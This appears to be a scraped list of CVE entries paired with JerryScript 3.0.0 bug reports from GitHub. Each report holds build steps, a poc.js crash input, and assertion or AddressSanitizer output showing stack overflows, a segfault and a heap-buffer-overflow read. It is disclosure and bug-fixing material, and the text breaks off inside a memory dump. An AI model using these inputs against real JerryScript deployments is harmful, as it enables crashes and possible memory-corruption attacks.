There is an Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at /jerry-core/ecma/base/ecma-literal-storage.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4941

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript var a = new Array(286331153, 572662306, 858993459, 1145324612, 303174162, 589505315, 305419888, 30583); var handler = { getPrototypeOf: function (target, name) { return a; } }; var p = new Proxy([], handler); var b = [ {}, [], 'natalie' ]; __proto__.__proto__ = p; eval("function test_configurable_accessor() { print('replacement'); }"); [].flat.call(b); ``` </code></pre> </details> ​ ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js Unhandled exception: 0: <eval>:1:64 1: poc.js:14:1 ICE: Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at jerryscript/jerry-core/ecma/base/ecma-literal-storage.c(ecma_free_string_list):77. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 987 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at jerryscript/jerry-core/ecma/base/ecma-literal-storage.c(ecma_free_string_list):77.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4941/comments

2022-01-04T06:22:36Z

2022-01-14T10:02:19Z

https://github.com/jerryscript-project/jerryscript/issues/4941

CVE-2021-46349

2022-01-20T22:15:09.157

There is an Assertion 'type == ECMA_OBJECT_TYPE_GENERAL || type == ECMA_OBJECT_TYPE_PROXY' failed at /jerry-core/ecma/operations/ecma-objects.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4937

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function JSEtest() { var a; for (a[a = class b { }] = [[]]; ;) break; } JSEtest(); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'type == ECMA_OBJECT_TYPE_GENERAL || type == ECMA_OBJECT_TYPE_PROXY' failed at jerryscript/jerry-core/ecma/operations/ecma-objects.c(ecma_object_get_class_name):3020. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 33392 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'type == ECMA_OBJECT_TYPE_GENERAL || type == ECMA_OBJECT_TYPE_PROXY' failed at jerryscript/jerry-core/ecma/operations/ecma-objects.c(ecma_object_get_class_name):3020.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4937/comments

2022-01-04T06:19:15Z

2022-01-14T04:30:33Z

https://github.com/jerryscript-project/jerryscript/issues/4937

CVE-2021-46350

2022-01-20T22:15:09.207

There is an Assertion 'ecma_is_value_object (value)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-value.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4936

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript class JSEtest { set #m(v) { this._v = v; } method() { let self = !this; function innerFunction() { self.#m = 'Test262'; } innerFunction(); } } let c = new JSEtest(); c.method(); assert.sameValue(c._v, 'Test262'); let o = {}; assert.throws(TypeError, function () { c.method.call(o); }, 'accessed private setter from an ordinary object'); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_is_value_object (value)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_object_from_value):838. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 25286 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'ecma_is_value_object (value)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_object_from_value):838.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4936/comments

2022-01-04T06:18:34Z

2022-01-18T12:16:02Z

https://github.com/jerryscript-project/jerryscript/issues/4936

CVE-2021-46351

2022-01-20T22:15:09.250

There is an Assertion 'local_tza == ecma_date_local_time_zone_adjustment (date_value)' failed at /jerry-core/ecma/builtin-objects/ecma-builtin-date-prototype.c(ecma_builtin_date_prototype_dispatch_set):421 in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4940

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript var mydate = new Date(); var myyear = mydate.getFullYear(); var mymonth = mydate.setYear() + 1; var myday = mydate.getDate(); var sum = 0; var avg; var weekday = [ 'Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat' ]; var scoreStr = 'X1:87;X2:81;X3:97;X4:76;X5:74;X6:94;X7:90;X8:76;X9:64;XX:76'; var arr = Date(); for (var i = 0; i < arr.length; i++) { var index = arr[i].indexOf(':'); sum += parseInt(arr[i].substr(Symbol(''), Symbol(''), 'empty string')); } avg = sum / arr.length; avg = Math.floor(avg); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'local_tza == ecma_date_local_time_zone_adjustment (date_value)' failed at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-date-prototype.c(ecma_builtin_date_prototype_dispatch_routine):689. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 209 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'local_tza == ecma_date_local_time_zone_adjustment (date_value)' failed at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-date-prototype.c(ecma_builtin_date_prototype_dispatch_routine):689.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4940/comments

2022-01-04T06:21:48Z

2022-01-14T04:29:46Z

https://github.com/jerryscript-project/jerryscript/issues/4940

CVE-2022-22888

2022-01-20T23:15:07.860

Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_op_object_find_own in /ecma/operations/ecma-objects.c.

https://github.com/jerryscript-project/jerryscript/issues/4848

github.com

###### JerryScript revision [4592143](https://github.com/jerryscript-project/jerryscript/commit/4592143400910769707477bc2282a6c6601c9a31) ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20 ``` ###### Test case ```javascript var once = false; var m = 1; function JSEtest(){ if(!once){ m = new Array(1, 2, 3); this[2] = m; } once = true; return this[2] = m; } JSON.parse("[1, 2, [4, 5]]", JSEtest); ``` ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc1.js ASAN:DEADLYSIGNAL ================================================================= ==5376==ERROR: AddressSanitizer: stack-overflow on address 0xff3e5ff0 (pc 0x56722cec bp 0x00000000 sp 0xff3e5ff0 T0) #0 0x56722ceb in ecma_op_object_find_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490 #1 0x56a4ae1f (/root/jerryscript/build/bin/jerry+0x46fe1f) SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490 in ecma_op_object_find_own ==5376==ABORTING ``` Credits: Found by OWL337 team.

Stack-overflow in ecma-objects (ecma_op_object_find_own)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4848/comments

2021-12-07T10:36:37Z

2022-01-12T02:04:53Z

https://github.com/jerryscript-project/jerryscript/issues/4848

CVE-2022-22890

2022-01-20T23:15:07.920

There is an Assertion 'arguments_type != SCANNER_ARGUMENTS_PRESENT && arguments_type != SCANNER_ARGUMENTS_PRESENT_NO_REG' failed at /jerry-core/parser/js/js-scanner-util.c in Jerryscript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4847

github.com

###### JerryScript revision [4592143](https://github.com/jerryscript-project/jerryscript/commit/4592143400910769707477bc2282a6c6601c9a31) ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ``` this.__defineSetter__("a", function(){}); function JSEtest (arguments = (function rec(n1, n2) { if (n1.length == n2) { m = "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAA"; } rec(n1, n2 + 1); })([,], 0) , m = eval("") ) {} JSEtest(a); ``` ###### Execution steps & Output ``` $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'arguments_type != SCANNER_ARGUMENTS_PRESENT && arguments_type != SCANNER_ARGUMENTS_PRESENT_NO_REG' failed at root/jerryscript/jerry-core/parser/js/js-scanner-util.c(scanner_pop_literal_pool):668. Error: ERR_FAILED_INTERNAL_ASSERTION ``` Credits: Found by OWL337 team.

Assertion 'arguments_type != SCANNER_ARGUMENTS_PRESENT && arguments_type != SCANNER_ARGUMENTS_PRESENT_NO_REG' in js-scanner-util (scanner_pop_literal_pool)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4847/comments

2021-12-07T08:52:59Z

2022-01-12T02:04:34Z

https://github.com/jerryscript-project/jerryscript/issues/4847

CVE-2022-22891

2022-01-21T00:15:07.700

Jerryscript 3.0.0 was discovered to contain a SEGV vulnerability via ecma_ref_object_inline in /jerry-core/ecma/base/ecma-gc.c.

https://github.com/jerryscript-project/jerryscript/issues/4871

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ```javascript function echo(str) { console.log(str); } function T(p, r, u) { return Object.assign(p, { then(onFulfilled, onRejected) { if (u) { onFulfilled(r); } else { onFulfilled(); } return Promise.prototype.then.call(this, onFulfilled, onRejected); } }); } function JSEtest(i) { var ps = [T(Promise.resolve('success'))]; Promise.all(ps).then(res => { echo(`Test #${i} - Success with '${res}' (length = ${res.length}) (isArray = ${Array.isArray(res)})`); }).catch(err => { echo(`Test #${i} - Catch with ${err}`); }); } JSEtest(1); ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ASAN:DEADLYSIGNAL ================================================================= ==95503==ERROR: AddressSanitizer: SEGV on unknown address 0x41b58ab0 (pc 0x566075cf bp 0x1ff7c4b0 sp 0xffbe2500 T0) ==95503==The signal is caused by a READ memory access. #0 0x566075ce in ecma_ref_object_inline /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136 #1 0x56639c0c in ecma_copy_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:913 #2 0x56639c0c in ecma_fast_copy_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:940 #3 0x566cdd0b in ecma_op_object_find_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:647 #4 0x566d2ea0 in ecma_op_object_find_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:494 #5 0x566d2ea0 in ecma_op_object_get_with_receiver /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:879 #6 0x567ef0cf in ecma_op_array_get_to_string_at_index /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:273 #7 0x567ef0cf in ecma_builtin_array_prototype_join /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:322 #8 0x567ef0cf in ecma_builtin_array_prototype_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2940 #9 0x566731f1 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543 #10 0x566731f1 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574 #11 0x566b48b4 in ecma_op_function_call_native_built_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243 #12 0x566bae4d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444 #13 0x5668d365 in ecma_array_object_to_string /root/jerryscript/jerry-core/ecma/operations/ecma-array-object.c:1228 #14 0x5681e945 in ecma_builtin_intrinsic_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-intrinsic.c:201 #15 0x566731f1 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543 #16 0x566731f1 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574 #17 0x566b48b4 in ecma_op_function_call_native_built_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243 #18 0x566bae4d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444 #19 0x566c9572 in ecma_op_general_object_ordinary_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:319 #20 0x566c976b in ecma_op_general_object_default_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:284 #21 0x566d6875 in ecma_op_object_default_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1780 #22 0x566a905a in ecma_op_to_string /root/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:456 #23 0x567b3433 in vm_loop /root/jerryscript/jerry-core/vm/vm.c:2820 #24 0x567e21da in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5260 #25 0x567e7e7c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363 #26 0x566b4101 in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203 #27 0x566bae25 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1439 #28 0x566c495e in ecma_process_promise_reaction_job /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:221 #29 0x566c495e in ecma_process_all_enqueued_jobs /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:563 #30 0x565d4dbc in jerry_run_jobs /root/jerryscript/jerry-core/api/jerryscript.c:1064 #31 0x565c004b in main /root/jerryscript/jerry-main/main-jerry.c:326 #32 0xf76f1f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20) #33 0x565c9359 (/root/jerryscript/build/bin/jerry+0x3b359) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136 in ecma_ref_object_inline ==95503==ABORTING ``` Credits: Found by OWL337 team.

SEGV in ecma_ref_object_inline of ecma-gc.c

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4871/comments

2021-12-09T07:38:01Z

2022-01-12T02:05:15Z

https://github.com/jerryscript-project/jerryscript/issues/4871

CVE-2022-22892

2022-01-21T00:15:07.747

There is an Assertion 'ecma_is_value_undefined (value) || ecma_is_value_null (value) || ecma_is_value_boolean (value) || ecma_is_value_number (value) || ecma_is_value_string (value) || ecma_is_value_bigint (value) || ecma_is_value_symbol (value) || ecma_is_value_object (value)' failed at jerry-core/ecma/base/ecma-helpers-value.c in Jerryscripts 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4872

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ```javascript function JSEtest(f, iters = 1000) { for (let i = 0; i < iters; i++) { f(); } } function throwTDZ(f) { let threw = false; try { f(); } catch (e) { ; } } JSEtest(function () { class M { get foo() { return this._x; } set foo(x) { this._x = x; } } function fooProp() { return 'foo'; } class T1 extends M { constructor() { super.foo = 20; } } class T2 extends M { constructor() { super[fooProp()] = 20; } } class T3 extends M { constructor() { super[fooProp()]; } } class T4 extends M { constructor() { super.foo; } } class T5 extends M { constructor() { (() => super.foo = 20)(); } } class T6 extends M { constructor() { (() => super[fooProp()] = 20)(); } } class T7 extends M { constructor() { (() => super[fooProp()])(); } } class T8 extends M { constructor() { (() => super.foo)(); } } throwTDZ(function () { new T1(); }); throwTDZ(function () { new T2(); }); throwTDZ(function () { new T3(); }); throwTDZ(function () { new T4(); }); throwTDZ(function () { new T5(); }); throwTDZ(function () { new T6(); }); throwTDZ(function () { new T7(); }); throwTDZ(function () { new T8(); }); }); ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_is_value_undefined (value) || ecma_is_value_null (value) || ecma_is_value_boolean (value) || ecma_is_value_number (value) || ecma_is_value_string (value) || ecma_is_value_bigint (value) || ecma_is_value_symbol (value) || ecma_is_value_object (value)' failed at /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_check_value_type_is_spec_defined):441. Error: ERR_FAILED_INTERNAL_ASSERTION ``` Credits: Found by OWL337 team.

Assertion 'ecma_is_value_undefined (value) || ecma_is_value_null (value) || ecma_is_value_boolean (value) || ecma_is_value_number (value) || ecma_is_value_string (value) || ecma_is_value_bigint (value) || ecma_is_value_symbol (value) || ecma_is_value_object (value)' failed in ecma-helpers-value(ecma_check_value_type_is_spec_defined)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4872/comments

2021-12-09T07:41:05Z

2022-01-12T02:05:47Z

https://github.com/jerryscript-project/jerryscript/issues/4872

CVE-2022-22893

2022-01-21T00:15:07.790

Jerryscript 3.0.0 was discovered to contain a stack overflow via vm_loop.lto_priv.304 in /jerry-core/vm/vm.c.

https://github.com/jerryscript-project/jerryscript/issues/4901

github.com

###### JerryScript revision Commit: [42523bd6](https://github.com/jerryscript-project/jerryscript/commit/42523bd6e2b114755498c9f68fd78545f9b33476) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-g --strip=off --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold --error-messages=on --line-info=on --stack-limit=10 ``` ###### Test case ```javascript function JSEtest() { new JSEtest(); } try { JSEtest(); } catch (e) { print(e); } ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ASAN:DEADLYSIGNAL ================================================================= ==78723==ERROR: AddressSanitizer: stack-overflow on address 0xff0d8f90 (pc 0x566a456c bp 0xff0d95d8 sp 0xff0d8f90 T0) #0 0x566a456b in vm_loop.lto_priv.304 /root/jerryscript/jerry-core/vm/vm.c:975 #1 0x56929645 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5260 #2 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363 #3 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203 #4 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533 #5 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769 #6 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844 #7 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287 #...... #...... #368 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363 #369 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203 #370 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533 #371 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769 #372 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844 #373 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287 SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/vm/vm.c:975 in vm_loop.lto_priv.304 ==78723==ABORTING ``` Credits: Found by OWL337 team.

Stack-overflow in vm_loop.lto_priv.304 of vm.c

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4901/comments

2021-12-13T09:33:54Z

2022-01-12T02:03:50Z

https://github.com/jerryscript-project/jerryscript/issues/4901

CVE-2022-22894

2022-01-21T00:15:07.833

Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_lcache_lookup in /jerry-core/ecma/base/ecma-lcache.c.

https://github.com/jerryscript-project/jerryscript/issues/4890

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20 ``` ###### Test case ```javascript let array = new Array(1); array.splice(1, 0, array); array.flat(Infinity); ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ASAN:DEADLYSIGNAL ================================================================= ==26613==ERROR: AddressSanitizer: stack-overflow on address 0xff535ffc (pc 0x5661347c bp 0xff536090 sp 0xff536000 T0) #0 0x5661347b in ecma_lcache_lookup /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144 #1 0x569cde1f (/root/jerryscript/build/bin/jerry+0x477e1f) SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144 in ecma_lcache_lookup ==26613==ABORTING ``` Credits: Found by OWL337 team.

Stack-overflow in ecma_lcache_lookup (ecma-lcache.c)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4890/comments

2021-12-09T14:27:01Z

2022-01-12T02:08:57Z

https://github.com/jerryscript-project/jerryscript/issues/4890

CVE-2022-22895

2022-01-21T00:15:07.880

Jerryscript 3.0.0 was discovered to contain a heap-buffer-overflow via ecma_utf8_string_to_number_by_radix in /jerry-core/ecma/base/ecma-helpers-conversion.c.

https://github.com/jerryscript-project/jerryscript/issues/4850

github.com

JerryScript-DCO-1.0-Signed-off-by: Robert Fancsik [email protected]

Fix buffer overflow in string radix conversion

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4850/comments

2021-12-07T14:15:32Z

2021-12-07T14:28:11Z

https://github.com/jerryscript-project/jerryscript/pull/4850

CVE-2022-22895

2022-01-21T00:15:07.880

Jerryscript 3.0.0 was discovered to contain a heap-buffer-overflow via ecma_utf8_string_to_number_by_radix in /jerry-core/ecma/base/ecma-helpers-conversion.c.

https://github.com/jerryscript-project/jerryscript/issues/4882

github.com

###### JerryScript revision Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash ./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case ```javascript function JSEtest(val) { return Number(val); } isNaN(JSEtest("+0x0")); isNaN(JSEtest("+0xFF")); isNaN(JSEtest("-0xFF")); ``` ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ================================================================= ==103276==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5d005de at pc 0x566a6771 bp 0xfffe76e8 sp 0xfffe76d8 READ of size 1 at 0xf5d005de thread T0 #0 0x566a6770 in ecma_utf8_string_to_number_by_radix /root/jerryscript/jerry-core/ecma/base/ecma-helpers-conversion.c:320 #1 0x566a7a09 in ecma_utf8_string_to_number /root/jerryscript/jerry-core/ecma/base/ecma-helpers-conversion.c:387 #2 0x566bacc7 in ecma_string_to_number /root/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1046 #3 0x5673c738 in ecma_op_to_numeric /root/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:312 #4 0x568bb03b in ecma_builtin_number_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-number.c:90 #5 0x56706f7c in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1579 #6 0x567488b4 in ecma_op_function_call_native_built_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243 #7 0x5674ea1d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444 #8 0x5674ea1d in ecma_op_function_validated_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1402 #9 0x56877f5e in opfunc_call /root/jerryscript/jerry-core/vm/vm.c:762 #10 0x56877f5e in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5266 #11 0x5687be7c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363 #12 0x56748101 in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203 #13 0x5674ea3d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1439 #14 0x5674ea3d in ecma_op_function_validated_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1402 #15 0x56877f5e in opfunc_call /root/jerryscript/jerry-core/vm/vm.c:762 #16 0x56877f5e in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5266 #17 0x5687adb8 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363 #18 0x5687adb8 in vm_run_global /root/jerryscript/jerry-core/vm/vm.c:290 #19 0x5666d94f in jerry_run /root/jerryscript/jerry-core/api/jerryscript.c:533 #20 0x56653d23 in main /root/jerryscript/jerry-main/main-jerry.c:169 #21 0xf76fff20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20) #22 0x5665d359 (/root/jerryscript/build/bin/jerry+0x3b359) 0xf5d005de is located 0 bytes to the right of 14-byte region [0xf5d005d0,0xf5d005de) allocated by thread T0 here: #0 0xf7aaaf54 in malloc (/usr/lib32/libasan.so.4+0xe5f54) #1 0x5665af4c in jmem_heap_alloc /root/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x5665af4c in jmem_heap_gc_and_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:291 #3 0x5665af4c in jmem_heap_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:324 SUMMARY: AddressSanitizer: heap-buffer-overflow /root/jerryscript/jerry-core/ecma/base/ecma-helpers-conversion.c:320 in ecma_utf8_string_to_number_by_radix Shadow bytes around the buggy address: 0x3eba0060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eba0070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eba0080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3eba0090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 